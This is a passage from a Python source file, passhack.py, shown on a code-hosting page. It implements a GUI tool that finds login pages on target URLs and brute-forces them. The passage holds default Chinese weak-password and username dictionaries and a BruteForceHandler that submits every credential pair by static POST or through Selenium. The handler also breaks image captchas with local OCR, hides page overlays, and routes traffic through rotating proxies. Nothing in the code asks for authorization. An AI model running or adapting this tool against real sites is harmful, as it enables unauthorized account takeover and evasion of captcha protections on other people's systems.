-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpasshack.py
More file actions
6884 lines (6286 loc) · 293 KB
/
Copy pathpasshack.py
File metadata and controls
6884 lines (6286 loc) · 293 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import base64
import concurrent.futures
import contextlib
import csv
import hashlib
import html
import json
import os
import queue
import re
import shutil
import socket
import subprocess
import threading
import tempfile
import time
import warnings
import webbrowser
from collections import Counter, deque
from dataclasses import asdict, dataclass
from datetime import datetime
from pathlib import Path
from tkinter import filedialog, messagebox, scrolledtext, ttk
import tkinter as tk
from urllib.parse import urljoin, urlparse
import requests
import urllib3
from bs4 import BeautifulSoup
from openpyxl import load_workbook
from PIL import Image, ImageTk
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=UserWarning, module="openpyxl.styles.stylesheet")
warnings.filterwarnings("ignore", message="Workbook contains no default style, apply openpyxl's default")
os.environ.setdefault("WDM_LOG_LEVEL", "0")
os.environ.setdefault("TF_CPP_MIN_LOG_LEVEL", "3")
os.environ.setdefault("NO_COLOR", "1")
LOGIN_KEYWORDS = [
"login",
"signin",
"sign in",
"auth",
"passport",
"admin",
"登录",
"登 录",
"用户登录",
"统一认证",
"身份认证",
"后台",
"管理平台",
]
CAPTCHA_KEYWORDS = [
"验证码",
"captcha",
"verifycode",
"checkcode",
"图形码",
"校验码",
]
SLIDER_CAPTCHA_KEYWORDS = [
"滑动验证",
"滑块验证",
"拖动滑块",
"向右滑动",
"请完成安全验证",
"slider",
"slide to",
]
MFA_KEYWORDS = [
"otp",
"totp",
"2fa",
"mfa",
"双因素",
"动态口令",
"短信验证码",
"邮箱验证码",
]
LOCKOUT_KEYWORDS = [
"锁定",
"冻结",
"连续失败",
"多次失败",
"错误次数",
"锁住",
"account locked",
]
DEFAULT_HINT_KEYWORDS = [
"默认账号",
"默认密码",
"初始密码",
"admin",
"administrator",
"root",
"guest",
"superadmin",
]
INPUT_HINTS = [
"用户名",
"账号",
"账户",
"user",
"account",
"phone",
"手机号",
]
DEFAULT_BRUTE_DICT_MODE = "默认中文常用字典"
CUSTOM_BRUTE_DICT_MODE = "自定义账号/密码字典"
BRUTE_FORCE_SUCCESS_PREFIX = "命中弱口令:"
DEFAULT_CN_USERNAMES = [
"admin",
"administrator",
"root",
"system",
"sysadmin",
"manager",
"operator",
"test",
"user",
"guest",
"sa",
"webadmin",
"superadmin",
]
DEFAULT_CN_PASSWORDS = [
"123456",
"12345678",
"123123",
"123qwe",
"1qaz2wsx",
"111111",
"000000",
"666666",
"888888",
"admin",
"admin123",
"admin@123",
"system",
"system123",
"qwe123",
"qwe123456",
"Aa123456",
"password",
"woaini1314",
]
DICT_FILE_ENCODINGS = ("utf-8-sig", "utf-8", "gb18030", "gbk", "utf-16")
USER_FIELD_KEYWORDS = [
"user",
"username",
"userid",
"login",
"loginname",
"account",
"name",
"email",
"mail",
"phone",
"mobile",
"tel",
"member",
"uid",
"账号",
"账户",
"用户名",
"登录名",
"手机号",
"手机",
"邮箱",
"工号",
"学号",
]
PASSWORD_FIELD_KEYWORDS = ["password", "passwd", "pass", "pwd", "口令", "密码"]
CAPTCHA_FIELD_KEYWORDS = [
"captcha",
"verify",
"verifycode",
"checkcode",
"randcode",
"vcode",
"imgcode",
"yzm",
"验证码",
"校验码",
"图形码",
]
SKIP_USERNAME_FIELD_KEYWORDS = [
"captcha",
"checkcode",
"token",
"otp",
"mfa",
"2fa",
"sms",
"验证码",
"校验码",
"动态码",
"短信",
]
LOGIN_SUCCESS_KEYWORDS = [
"登录成功",
"welcome",
"dashboard",
"logout",
"sign out",
"退出登录",
"退出",
"注销",
"管理首页",
"系统首页",
"控制台",
"用户中心",
]
LOGIN_FAILURE_KEYWORDS = [
"密码错误",
"用户名或密码错误",
"账号或密码错误",
"登录失败",
"invalid password",
"invalid credentials",
"authentication failed",
"captcha error",
"验证码错误",
]
BROWSER_RENDER_HINTS = [
"vue",
"react",
"angular",
"webpack",
"chunk-vendors",
"__next",
"__nuxt",
"id=\"app\"",
"id='app'",
"id=\"root\"",
"id='root'",
"layui",
"element-ui",
"ant-design",
]
LOGIN_BUTTON_KEYWORDS = [
"登录",
"登 录",
"signin",
"sign in",
"submit",
"提交",
"进入系统",
"进入平台",
]
COMMON_LOGIN_ROUTE_SUFFIXES = [
"/#/login",
"/#/pages/login/login",
"/#/pages/index/login",
"/#/user/login",
"/#/auth/login",
"/#/admin/login",
"/#/home/login",
"/#/index/login",
"/login",
"/signin",
"/user/login",
"/admin/login",
"/auth/login",
]
DEFAULT_OCR_ENDPOINT = "http://127.0.0.1:8888/reg"
PROXY_MODE_SINGLE = "单代理/Clash"
PROXY_MODE_POOL = "代理池轮换"
PROXY_SCHEME_HTTP = "HTTP/Clash"
PROXY_SCHEME_SOCKS5 = "SOCKS5"
PROXY_SCHEME_SOCKS5H = "SOCKS5H"
PROXY_SCHEME_OPTIONS = [
PROXY_SCHEME_HTTP,
PROXY_SCHEME_SOCKS5,
PROXY_SCHEME_SOCKS5H,
]
PROXY_STRATEGY_DIRECT_FIRST = "直连优先"
PROXY_STRATEGY_PROXY_ONLY = "仅代理"
PROXY_STRATEGY_DIRECT_ONLY = "仅直连"
PROXY_STRATEGY_OPTIONS = [
PROXY_STRATEGY_DIRECT_FIRST,
PROXY_STRATEGY_PROXY_ONLY,
PROXY_STRATEGY_DIRECT_ONLY,
]
DEFAULT_PRECHECK_COUNT = "3"
CAPTURE_POLICY_HIT = "命中项"
CAPTURE_POLICY_HIGH = "仅高风险"
CAPTURE_POLICY_ALL = "全部截图"
CAPTURE_POLICY_LOGIN = "发现登录框截图"
CAPTURE_POLICY_OPTIONS = [
CAPTURE_POLICY_HIT,
CAPTURE_POLICY_HIGH,
CAPTURE_POLICY_ALL,
CAPTURE_POLICY_LOGIN,
]
MODE_RULE = "普通模式"
MODE_NLP = "NLP模式"
MODE_LLM = "大模型模式"
MODE_RULE_LLM = "普通失败走大模型"
MODE_NLP_LLM = "NLP失败走大模型"
MODE_OPTIONS = [
MODE_RULE,
MODE_NLP,
MODE_LLM,
MODE_RULE_LLM,
MODE_NLP_LLM,
]
DEFAULT_ANALYSIS_MODE = MODE_RULE_LLM
DEFAULT_LLM_TIMEOUT_SECONDS = "45"
DEFAULT_RECORD_HARD_TIMEOUT_SECONDS = 120.0
DEFAULT_HTTP_STAGE_TIMEOUT_SECONDS = 25.0
DEFAULT_WAITING_STAGE_TIMEOUT_SECONDS = 300.0
LLM_API_STYLE_AUTO = "自动(OpenAI兼容)"
LLM_API_STYLE_CHAT = "OpenAI Chat Completions"
LLM_API_STYLE_RESPONSES = "OpenAI Responses API"
LLM_API_STYLE_OLLAMA = "Ollama Chat"
LLM_API_STYLE_OPTIONS = [
LLM_API_STYLE_AUTO,
LLM_API_STYLE_CHAT,
LLM_API_STYLE_RESPONSES,
LLM_API_STYLE_OLLAMA,
]
DEFAULT_LLM_API_STYLE = LLM_API_STYLE_AUTO
DEFAULT_LLM_PROMPT = """你是登录页面识别助手。请根据给定的 URL、标题、静态分析结果、页面可见文本和 HTML 片段,判断页面是否为登录页。
只返回 JSON,不要输出额外解释。字段要求:
{
"login_page": true,
"username_field": true,
"password_field": true,
"captcha": false,
"slider_captcha": false,
"mfa": false,
"lockout_hint": false,
"default_credential_hint": false,
"confidence": 0.0,
"summary": "一句中文结论",
"evidence": ["最多4条证据"]
}
规则:
1. confidence 返回 0 到 1 的数字。
2. 只有明确看到登录相关证据时才把 login_page 设为 true。
3. 如果看到滑块、人机验证拖动条、安全验证弹窗,slider_captcha 设为 true。
4. summary 控制在 30 字以内。
5. 如果同时提供了页面截图,请结合截图一起判断。
"""
def compact_exception_message(exc: Exception) -> str:
text = " ".join(str(exc).split())
return text or exc.__class__.__name__
def describe_request_exception(exc: Exception) -> tuple[str, str]:
detail = compact_exception_message(exc)
lower_detail = detail.lower()
error_text = f"{exc.__class__.__name__}: {detail}"
if isinstance(exc, requests.exceptions.ConnectTimeout):
return "连接超时,目标可能已下线或端口不通", error_text
if isinstance(exc, requests.exceptions.ReadTimeout):
return "读取超时,目标响应过慢或服务异常", error_text
if isinstance(exc, requests.exceptions.SSLError):
return "SSL握手失败,HTTPS 配置异常", error_text
if isinstance(exc, requests.exceptions.TooManyRedirects):
return "重定向过多,站点可能存在循环跳转", error_text
if isinstance(exc, requests.exceptions.InvalidURL):
return "目标地址格式无效", error_text
if isinstance(exc, requests.exceptions.ConnectionError):
if any(token in lower_detail for token in ["getaddrinfo failed", "name or service not known", "no such host", "failed to resolve", "nodename nor servname"]):
return "DNS解析失败,域名可能已失效", error_text
if any(token in lower_detail for token in ["connection refused", "actively refused", "10061"]):
return "连接被拒绝,端口未开放或服务未启动", error_text
if any(token in lower_detail for token in ["network is unreachable", "no route to host"]):
return "网络不可达,目标可能已下线", error_text
if any(token in lower_detail for token in ["remote end closed connection", "connection aborted", "connection reset", "reset by peer"]):
return "连接被中断,目标服务提前断开", error_text
return "连接失败,目标可能已失效或暂时不可达", error_text
if isinstance(exc, requests.exceptions.RequestException):
return "请求异常,目标可能暂时不可用", error_text
return "分析异常", error_text
RETRYABLE_FAILURE_PREFIXES = (
"连接超时,目标可能已下线或端口不通",
"读取超时,目标响应过慢或服务异常",
"DNS解析失败,域名可能已失效",
"连接被拒绝,端口未开放或服务未启动",
"网络不可达,目标可能已下线",
"连接被中断,目标服务提前断开",
"连接失败,目标可能已失效或暂时不可达",
"请求异常,目标可能暂时不可用",
)
def is_retryable_failure_result(risk_level: str, result: str) -> bool:
if risk_level != "失败":
return False
summary = (result or "").strip()
return any(summary.startswith(prefix) for prefix in RETRYABLE_FAILURE_PREFIXES)
@dataclass
class AuditRecord:
record_id: int
target: str
final_url: str = ""
proxy_used: str = ""
ocr_endpoint_used: str = ""
ocr_route_rule: str = ""
locator_rule_used: str = ""
status: str = "等待中"
title: str = ""
risk_level: str = "-"
result: str = "-"
route_strategy_used: str = ""
login_score: int = 0
login_form: bool = False
password_field_count: int = 0
captcha_present: bool = False
slider_captcha_present: bool = False
mfa_present: bool = False
lockout_hint: bool = False
default_hint: bool = False
form_action: str = ""
form_method: str = ""
field_summary: str = ""
screenshot_path: str = ""
error: str = ""
http_error_status: int = 0
analysis_stage: str = ""
analysis_detail: str = ""
analysis_started_ts: float = 0.0
analysis_stage_ts: float = 0.0
analysis_last_ui_ts: float = 0.0
analysis_warned_stage: str = ""
llm_decision: str = ""
llm_summary: str = ""
llm_confidence: float = 0.0
llm_evidence: str = ""
class BruteForceHandler:
def __init__(
self,
session,
log_queue,
driver_factory=None,
render_wait=2.5,
captcha_ocr_enabled=False,
ocr_endpoint=DEFAULT_OCR_ENDPOINT,
ocr_endpoint_resolver=None,
locator_rule_resolver=None,
captcha_lock=None,
progress_callback=None,
):
self.session = session
self.log_queue = log_queue
self.default_user = DEFAULT_CN_USERNAMES.copy()
self.default_pass = DEFAULT_CN_PASSWORDS.copy()
self.driver_factory = driver_factory
self.render_wait = max(0.8, float(render_wait or 2.5))
self.captcha_ocr_enabled = bool(captcha_ocr_enabled)
self.ocr_endpoint = (ocr_endpoint or DEFAULT_OCR_ENDPOINT).strip() or DEFAULT_OCR_ENDPOINT
self.ocr_endpoint_resolver = ocr_endpoint_resolver
self.locator_rule_resolver = locator_rule_resolver
self.captcha_lock = captcha_lock
self.progress_callback = progress_callback
def report_progress(self, detail: str):
callback = self.progress_callback
if not callback:
return
try:
callback(detail)
except Exception:
pass
def format_attempt_progress(self, attempt_index: int, total_attempts: int, username: str, mode_label: str) -> str:
if total_attempts > 0:
return f"{mode_label} {attempt_index}/{total_attempts} | user={username}"
return f"{mode_label} {attempt_index} | user={username}"
def run(
self,
record,
dict_mode=DEFAULT_BRUTE_DICT_MODE,
user_dict_path="",
pass_dict_path="",
soup=None,
):
if not record.login_form:
return "跳过(非登录页)"
if not self.has_actionable_login_fields(record):
return "跳过(未识别到可用登录框)"
if getattr(record, "slider_captcha_present", False):
return "跳过(检测到滑块验证码,当前版本不支持自动完成)"
try:
users, passwords, dict_label = self.load_dicts(dict_mode, user_dict_path, pass_dict_path)
except ValueError as exc:
return f"失败({exc})"
total_attempts = len(users) * len(passwords)
self.report_progress(f"字典={dict_label} | 共 {total_attempts} 组")
browser_result = ""
if self.should_use_browser_login(record):
browser_result = self.run_browser_login(record, users, passwords, dict_label, total_attempts)
if not browser_result.startswith("回退静态模式"):
return browser_result
form = self.find_login_form(soup)
container = form if form is not None else soup
if container is None:
return browser_result.replace("回退静态模式", "失败", 1) if browser_result else "失败(未识别登录表单)"
form_fields = self.extract_form_fields(container)
user_key, pass_key = self.identify_login_fields(form_fields)
if not user_key or not pass_key:
user_key, pass_key = self.identify_login_fields_from_summary(record.field_summary)
if not user_key or not pass_key:
return browser_result.replace("回退静态模式", "失败", 1) if browser_result else "失败(未识别用户名/密码字段)"
if (
not form_fields
and ("browser_user" in (record.field_summary or "") or "browser_password" in (record.field_summary or ""))
and (not self.driver_factory or "浏览器驱动不可用" in browser_result)
):
return "跳过(前端渲染登录框缺少静态字段名,当前环境无法进行浏览器自动化提交)"
action_value = ""
method = ""
if form is not None:
action_value = (form.get("action") or "").strip()
method = (form.get("method") or "").strip().upper()
action_url = self.get_action_url(record, action_value)
if not method:
method = "POST"
if method not in {"GET", "POST"}:
method = "POST"
base_payload = self.build_base_payload(form_fields, user_key, pass_key)
referer = record.final_url or record.target
attempt_count = 0
for u in users:
for p in passwords:
try:
attempt_count += 1
self.report_progress(self.format_attempt_progress(attempt_count, total_attempts, u, "静态提交"))
payload = dict(base_payload)
payload[user_key] = u
payload[pass_key] = p
resp = self.submit_login(action_url, method, payload, referer)
if self.is_successful_login(resp, action_url):
return f"{BRUTE_FORCE_SUCCESS_PREFIX} {u}/{p}"
except requests.RequestException:
continue
return f"未命中弱口令(已尝试 {attempt_count} 组, {dict_label})"
def log(self, message: str):
if self.log_queue is not None:
self.log_queue.put(message)
def has_actionable_login_fields(self, record) -> bool:
summary = (getattr(record, "field_summary", "") or "").lower()
return bool(getattr(record, "password_field_count", 0) > 0 or "password:" in summary)
def should_use_browser_login(self, record) -> bool:
if not self.driver_factory:
return False
result_text = record.result or ""
return (record.captcha_present and self.has_actionable_login_fields(record)) or "浏览器渲染补扫命中" in result_text
def wait_for_render(self, driver):
deadline = time.time() + self.render_wait
while time.time() < deadline:
try:
if driver.execute_script("return document.readyState") == "complete":
break
except Exception:
break
time.sleep(0.2)
remaining = max(0.2, deadline - time.time())
time.sleep(remaining)
def dismiss_browser_obstructions(self, driver):
try:
driver.switch_to.default_content()
except Exception:
pass
try:
driver.execute_script(
"""
const candidates = Array.from(document.querySelectorAll('*')).filter((node) => {
const style = window.getComputedStyle(node);
if (!style) return false;
const fixed = style.position === 'fixed' || style.position === 'sticky';
const visible = style.display !== 'none' && style.visibility !== 'hidden' && style.opacity !== '0';
const zIndex = Number.parseInt(style.zIndex || '0', 10);
const rect = node.getBoundingClientRect();
const largeEnough = rect.width > 120 && rect.height > 36;
return fixed && visible && zIndex >= 1000 && largeEnough;
});
for (const node of candidates.slice(0, 12)) {
node.style.display = 'none';
}
"""
)
except Exception:
pass
try:
from selenium.webdriver.common.keys import Keys
body = driver.find_element("tag name", "body")
body.send_keys(Keys.ESCAPE)
except Exception:
pass
def run_browser_login(self, record, users, passwords, dict_label, total_attempts: int = 0):
needs_captcha = bool(record.captcha_present)
if needs_captcha and not self.captcha_ocr_enabled:
return "跳过(存在图形验证码且未启用本地OCR)"
if needs_captcha and self.captcha_lock:
self.report_progress("检测到验证码,等待串行队列")
self.log(f"[*] {record.target} 存在验证码,进入串行弱口令队列。")
self.captcha_lock.acquire()
try:
driver = self.driver_factory() if self.driver_factory else None
if not driver:
if needs_captcha:
return "失败(浏览器驱动不可用,无法处理验证码)"
return "回退静态模式(浏览器驱动不可用)"
try:
login_url = record.final_url or record.target
attempt_count = 0
self._active_record = record
for username in users:
for password in passwords:
attempt_count += 1
try:
self.report_progress(self.format_attempt_progress(attempt_count, total_attempts, username, "浏览器提交"))
driver.get(login_url)
self.wait_for_render(driver)
self.dismiss_browser_obstructions(driver)
dom = self.locate_login_dom(driver)
if not dom["user"] or not dom["pass"]:
if needs_captcha:
return "失败(浏览器模式未识别用户名/密码输入框)"
return "回退静态模式(浏览器模式未识别用户名/密码输入框)"
captcha_text = ""
if needs_captcha or dom["captcha"]:
self.report_progress(
self.format_attempt_progress(attempt_count, total_attempts, username, "验证码识别")
)
captcha_text = self.solve_captcha_from_dom(driver, dom, record)
if not captcha_text:
if needs_captcha:
continue
return "回退静态模式(浏览器模式未识别验证码)"
self.fill_element(dom["user"], username)
self.fill_element(dom["pass"], password)
if dom["captcha"] and captcha_text:
self.fill_element(dom["captcha"], captcha_text)
submitted = self.submit_dom_form(driver, dom["submit"], dom["pass"])
if not submitted:
if needs_captcha:
return "失败(浏览器模式无法提交登录表单)"
return "回退静态模式(浏览器模式无法提交登录表单)"
time.sleep(1.0)
if self.is_successful_browser_login(driver, login_url):
return f"{BRUTE_FORCE_SUCCESS_PREFIX} {username}/{password}"
except Exception:
continue
return f"未命中弱口令(已尝试 {attempt_count} 组, {dict_label}, 浏览器模式)"
finally:
self._active_record = None
try:
driver.quit()
except Exception:
pass
finally:
if needs_captcha and self.captcha_lock:
self.captcha_lock.release()
def locate_login_dom(self, driver):
try:
from selenium.webdriver.common.by import By
except Exception:
return {"form": None, "user": None, "pass": None, "captcha": None, "submit": None}
try:
driver.switch_to.default_content()
except Exception:
pass
rule = None
if self.locator_rule_resolver is not None:
try:
rule = self.locator_rule_resolver(getattr(self, "_active_record", None))
except Exception:
rule = None
dom = self.locate_login_dom_recursive(driver, depth=0, max_depth=3)
if rule:
ruled_dom = self.locate_login_dom_by_rule(driver, rule)
if ruled_dom and ruled_dom.get("pass") is not None:
return ruled_dom
return dom or {"form": None, "user": None, "pass": None, "captcha": None, "submit": None}
def locate_login_dom_recursive(self, driver, depth: int, max_depth: int):
dom = self.locate_login_dom_in_current_context(driver)
if dom and dom.get("pass") is not None:
return dom
if depth >= max_depth:
return None
try:
from selenium.webdriver.common.by import By
except Exception:
return None
for frame in driver.find_elements(By.CSS_SELECTOR, "iframe,frame"):
try:
driver.switch_to.frame(frame)
nested = self.locate_login_dom_recursive(driver, depth + 1, max_depth)
if nested and nested.get("pass") is not None:
return nested
except Exception:
pass
finally:
try:
driver.switch_to.parent_frame()
except Exception:
try:
driver.switch_to.default_content()
except Exception:
pass
return None
def locate_login_dom_in_current_context(self, driver):
try:
from selenium.webdriver.common.by import By
except Exception:
return None
form = None
forms = driver.find_elements(By.TAG_NAME, "form")
for candidate in forms:
if candidate.find_elements(By.XPATH, ".//input[contains(translate(@type,'PASSWORD','password'),'password')]"):
form = candidate
break
input_xpath = ".//input|.//textarea" if form else "//input|//textarea"
button_xpath = ".//button|.//input[@type='submit']|.//input[@type='button']" if form else "//button|//input[@type='submit']|//input[@type='button']"
search_root = form if form else driver
inputs = search_root.find_elements(By.XPATH, input_xpath)
buttons = search_root.find_elements(By.XPATH, button_xpath)
user_el = None
pass_el = None
captcha_el = None
for element in inputs:
if not self.is_input_candidate_visible(element):
continue
hints = self.collect_dom_hints(element)
field_type = self.safe_element_attr(element, "type").lower()
if not pass_el and ("password" in field_type or any(keyword in hints for keyword in PASSWORD_FIELD_KEYWORDS)):
pass_el = element
continue
if field_type in {"hidden", "submit", "button", "checkbox", "radio", "file"}:
continue
if not captcha_el and any(keyword in hints for keyword in CAPTCHA_FIELD_KEYWORDS):
captcha_el = element
continue
if not user_el and any(keyword in hints for keyword in USER_FIELD_KEYWORDS):
user_el = element
if not user_el:
for element in inputs:
if element == pass_el or element == captcha_el or not self.is_input_candidate_visible(element):
continue
field_type = self.safe_element_attr(element, "type").lower()
if field_type in {"text", "email", "tel", "number", "search", ""}:
user_el = element
break
submit_el = None
for button in buttons:
if self.is_input_candidate_visible(button) and self.is_submit_candidate(button):
submit_el = button
break
if submit_el is None:
custom_xpath = (
".//*[self::a or self::div or self::span or name()='uni-button']"
if form
else "//*[self::a or self::div or self::span or name()='uni-button']"
)
try:
for button in search_root.find_elements(By.XPATH, custom_xpath):
if self.is_input_candidate_visible(button) and self.is_submit_candidate(button):
submit_el = button
break
except Exception:
submit_el = None
if submit_el is None:
for button in buttons:
if self.is_input_candidate_visible(button):
submit_el = button
break
return {"form": form, "user": user_el, "pass": pass_el, "captcha": captcha_el, "submit": submit_el}
def locate_login_dom_by_rule(self, driver, rule: dict):
selectors = rule.get("selectors") or {}
try:
driver.switch_to.default_content()
except Exception:
pass
frame_spec = selectors.get("frame", "")
if frame_spec:
frame_element = self.find_element_by_locator_spec(driver, frame_spec)
if frame_element is not None:
try:
driver.switch_to.frame(frame_element)
except Exception:
try:
driver.switch_to.default_content()
except Exception:
pass
user_el = self.find_element_by_locator_spec(driver, selectors.get("user", ""))
pass_el = self.find_element_by_locator_spec(driver, selectors.get("pass", ""))
submit_el = self.find_element_by_locator_spec(driver, selectors.get("submit", ""))
captcha_el = self.find_element_by_locator_spec(driver, selectors.get("captcha", ""))
if pass_el is None:
return None
active_record = getattr(self, "_active_record", None)
if active_record is not None:
active_record.locator_rule_used = rule.get("rule_text", "")
return {"form": None, "user": user_el, "pass": pass_el, "captcha": captcha_el, "submit": submit_el}
def find_element_by_locator_spec(self, driver, spec: str):
if not spec:
return None
try:
from selenium.webdriver.common.by import By
except Exception:
return None
segments = [segment.strip() for segment in spec.split(",") if segment.strip()]
for segment in segments:
locate_by = By.CSS_SELECTOR
value = segment
lowered = segment.lower()
if lowered.startswith("css:"):
locate_by = By.CSS_SELECTOR
value = segment[4:].strip()
elif lowered.startswith("xpath:"):
locate_by = By.XPATH
value = segment[6:].strip()
if not value:
continue
try:
elements = driver.find_elements(locate_by, value)
except Exception:
continue
for element in elements:
if self.is_input_candidate_visible(element):
return element
return None
def is_input_candidate_visible(self, element) -> bool:
try:
if not element.is_displayed():
return False
size = element.size or {}
return size.get("width", 0) > 8 and size.get("height", 0) > 8
except Exception:
return False
def safe_element_attr(self, element, attr_name):
try:
return (element.get_attribute(attr_name) or "").strip()
except Exception:
return ""
def safe_element_text(self, element):
try:
text = (element.text or "").strip()
if text:
return text
except Exception:
pass
for attr_name in ("innerText", "textContent", "value"):
value = self.safe_element_attr(element, attr_name)
if value:
return value
return ""
def collect_dom_hints(self, element):
parts = [
self.safe_element_attr(element, "name"),
self.safe_element_attr(element, "id"),
self.safe_element_attr(element, "placeholder"),
self.safe_element_attr(element, "aria-label"),
self.safe_element_attr(element, "autocomplete"),
self.safe_element_attr(element, "title"),
self.safe_element_attr(element, "data-placeholder"),
self.safe_element_attr(element, "data-label"),
self.safe_element_attr(element, "formcontrolname"),
self.safe_element_attr(element, "ng-model"),
self.safe_element_attr(element, "role"),
self.safe_element_attr(element, "class"),
self.safe_element_attr(element, "type"),
self.safe_element_text(element),
]
return " ".join(part for part in parts if part).lower()
def is_submit_candidate(self, element) -> bool:
hints = self.collect_dom_hints(element)
return any(keyword.lower() in hints for keyword in LOGIN_BUTTON_KEYWORDS) or any(
token in hints for token in ("button", "btn", "submit", "login")
)
def solve_captcha_from_dom(self, driver, dom, record):
captcha_input = dom.get("captcha")
captcha_image = self.find_captcha_image(driver, dom.get("form"), captcha_input)
if captcha_image is None:
return ""
try:
image_b64 = captcha_image.screenshot_as_base64
except Exception:
image_b64 = ""
if not image_b64:
return ""
return self.request_local_ocr(image_b64, record)
def find_captcha_image(self, driver, form, captcha_input):
try:
from selenium.webdriver.common.by import By
except Exception:
return None
roots = [form] if form else [driver]
xpaths = [
".//img[contains(translate(@src,'CAPTCHA','captcha'),'captcha') or contains(translate(@id,'CAPTCHA','captcha'),'captcha') or contains(translate(@class,'CAPTCHA','captcha'),'captcha') or contains(translate(@name,'CAPTCHA','captcha'),'captcha')]",
".//canvas",
".//img",
]
if captcha_input is not None:
try:
nearby = captcha_input.find_elements(By.XPATH, "./following::*[self::img or self::canvas][1]")
if nearby:
return nearby[0]
except Exception:
pass
for root in roots:
for xpath in xpaths:
current_xpath = xpath if form else xpath.replace(".//", "//", 1)
try:
elements = root.find_elements(By.XPATH, current_xpath)
except Exception:
continue
for element in elements:
try:
if element.is_displayed() and element.size.get("width", 0) >= 20 and element.size.get("height", 0) >= 12:
return element
except Exception:
continue
return None
def request_local_ocr(self, image_b64: str, record=None) -> str:
endpoint = self.ocr_endpoint